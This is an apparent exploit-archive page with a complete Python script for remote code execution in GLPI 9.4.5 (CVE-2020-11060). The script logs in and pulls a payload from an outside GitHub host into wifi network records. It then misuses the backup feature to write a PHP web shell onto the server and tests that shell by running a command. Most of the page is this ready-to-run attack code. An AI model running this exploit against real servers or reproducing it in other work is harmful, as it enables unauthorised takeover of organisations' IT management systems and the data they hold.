exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

GLPI 9.4.5 Remote Code Execution

GLPI 9.4.5 Remote Code Execution
Posted Jun 14, 2021
Authored by Brian Peters

GLPI version 9.4.5 remote code execution exploit.

tags | exploit, remote, code execution
advisories | CVE-2020-11060
SHA-256 | ba69edea877f453d3799c4c74da755a665b0e3f6b2bc6e1212e8415554291165

GLPI 9.4.5 Remote Code Execution

Change Mirror Download
# Exploit Title: GLPI 9.4.5 - Remote Code Execution (RCE)
# Exploit Author: Brian Peters
# Vendor Homepage: https://glpi-project.org
# Software Link: https://github.com/glpi-project/glpi/releases
# Version: < 9.4.6
# CVE: CVE-2020-11060

# Download a SQL dump and find the table offset for "wifinetworks" with
# cat <sqlfile> | grep "CREATE TABLE" | grep -n wifinetworks
# Update the offsettable value with this number in the create_dump function
# The Nix/Win paths are based on defaults. You can use curl -I <url> and use md5sum to find the path based
# on the Set-Cookie hash.

#!/usr/bin/python

import argparse
import json
import random
import re
import requests
import string
import sys
import time
from datetime import datetime
from lxml import html

class GlpiBrowser:

def __init__(self, url, user, password, platform):
self.url = url
self.user = user
self.password = password
self.platform = platform

self.session = requests.Session()
self.session.verify = False
requests.packages.urllib3.disable_warnings()

def extract_csrf(self, html):
return re.findall('name="_glpi_csrf_token" value="([a-f0-9]{32})"', html)[0]

def get_login_data(self):
r = self.session.get('{0}'.format(self.url), allow_redirects=True)

csrf_token = self.extract_csrf(r.text)
name_field = re.findall('name="(.*)" id="login_name"', r.text)[0]
pass_field = re.findall('name="(.*)" id="login_password"', r.text)[0]

return name_field, pass_field, csrf_token

def login(self):
try:
name_field, pass_field, csrf_token = self.get_login_data()
except Exception as e:
print "[-] Login error: could not retrieve form data"
sys.exit(1)

data = {
name_field: self.user,
pass_field: self.password,
"auth": "local",
"submit": "Post",
"_glpi_csrf_token": csrf_token
}

r = self.session.post('{}/front/login.php'.format(self.url), data=data, allow_redirects=False)

return r.status_code == 302

def wipe_networks(self, padding, datemod):
r = self.session.get('https://raw.githubusercontent.com/AlmondOffSec/PoCs/master/glpi_rce_gzip/poc.txt')
comment = r.content

r = self.session.get('{0}/front/wifinetwork.php#modal_massaction_contentb5e83b3aa28f203595c34c5dbcea85c9'.format(self.url))
try:
csrf_token = self.extract_csrf(r.text)
except Exception as e:
print "[-] Edit network error: could not retrieve form data"
sys.exit(1)

webpage = html.fromstring(r.content)
links = webpage.xpath('//a/@href')
for rawlink in links:
if "wifinetwork.form.php?id=" in rawlink:
rawlinkparts = rawlink.split("=")
networkid = rawlinkparts[-1]
print "Deleting network "+networkid

data = {
"entities_id": "0",
"is_recursive": "0",
"name": "PoC",
"comment": comment,
"essid": "RCE"+padding,
"mode": "ad-hoc",
"purge": "Delete permanently",
"id": networkid,
"_glpi_csrf_token": csrf_token,
'_read_date_mod': datemod
}

r = self.session.post('{}/front/wifinetwork.form.php'.format(self.url), data=data)

def create_network(self, datemod):
r = self.session.get('https://raw.githubusercontent.com/AlmondOffSec/PoCs/master/glpi_rce_gzip/poc.txt')
comment = r.content

r = self.session.get('{0}/front/wifinetwork.php'.format(self.url))
try:
csrf_token = self.extract_csrf(r.text)
except Exception as e:
print "[-] Create network error: could not retrieve form data"
sys.exit(1)

data = {
"entities_id": "0",
"is_recursive": "0",
"name": "PoC",
"comment": comment,
"essid": "RCE",
"mode": "ad-hoc",
"add": "ADD",
"_glpi_csrf_token": csrf_token,
'_read_date_mod': datemod
}

r = self.session.post('{}/front/wifinetwork.form.php'.format(self.url), data=data)
print "[+] Network created"
print " Name: PoC"
print " ESSID: RCE"

def edit_network(self, padding, datemod):
r = self.session.get('https://raw.githubusercontent.com/AlmondOffSec/PoCs/master/glpi_rce_gzip/poc.txt')
comment = r.content
#create the padding for the name and essid


r = self.session.get('{0}/front/wifinetwork.php'.format(self.url))
webpage = html.fromstring(r.content)
links = webpage.xpath('//a/@href')
for rawlink in links:
if "wifinetwork.form.php?id=" in rawlink:
rawlinkparts = rawlink.split('/')
link = rawlinkparts[-1]

#edit the network name and essid
r = self.session.get('{0}/front/{1}'.format(self.url, link))
try:
csrf_token = self.extract_csrf(r.text)
except Exception as e:
print "[-] Edit network error: could not retrieve form data"
sys.exit(1)

rawlinkparts = rawlink.split("=")
networkid = rawlinkparts[-1]

data = {
"entities_id": "0",
"is_recursive": "0",
"name": "PoC",
"comment": comment,
"essid": "RCE"+padding,
"mode": "ad-hoc",
"update": "Save",
"id": networkid,
"_glpi_csrf_token": csrf_token,
"_read_date_mod": datemod
}
r = self.session.post('{0}/front/wifinetwork.form.php'.format(self.url), data=data)
print "[+] Network mofified"
print " New ESSID: RCE"+padding

def create_dump(self, shellname):
path=''
if self.platform == "Win":
path="C:\\xampp\\htdocs\\pics\\"
elif self.platform == "Nix":
path="/var/www/html/glpi/pics/"

#adjust offset number to match the table number for wifi_networks
#this can be found by downloading a SQL dump and running cat <dumpname> | grep "CREATE TABLE" | grep -n "wifinetworks"
r = self.session.get('{0}/front/backup.php?dump=dump&offsettable=312&fichier={1}{2}'.format(self.url, path, shellname))

print '[+] Shell: {0}/pics/{1}'.format(self.url, shellname)

def shell_check(self, shellname):
r = self.session.get('{0}/pics/{1}?0=echo%20asdfasdfasdf'.format(self.url, shellname))
print " Shell size: "+str(len(r.content))
if "asdfasdfasdf" in r.content:
print "[+] RCE FOUND!"
sys.exit(1)
return len(r.content)

def pwn(self):
if not self.login():
print "[-] Login error"
return
else:
print "[+] Logged in"

#create timestamp
now = datetime.now()
datemod = now.strftime("%Y-%m-%d %H:%M:%S")

#create comment payload

tick=1
while True:
#create random shell name
letters = string.ascii_letters
shellname = ''.join(random.choice(letters) for i in range(8))+".php"

#create padding for ESSID
padding = ''
for i in range(1,int(tick)+1):
padding+=str(i)

self.wipe_networks(padding, datemod)
self.create_network(datemod)
self.edit_network(padding, datemod)
self.create_dump(shellname)
self.shell_check(shellname)
print "\n"
raw_input("Press any key to continue with the next iteration...")
tick+=1

return

if __name__ == '__main__':

parser = argparse.ArgumentParser()
parser.add_argument("--url", help="Target URL", required=True)
parser.add_argument("--user", help="Username", required=True)
parser.add_argument("--password", help="Password", required=True)
parser.add_argument("--platform", help="Win/Nix", required=True)

args = parser.parse_args()

g = GlpiBrowser(args.url, user=args.user, password=args.password, platform=args.platform)

g.pwn()

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close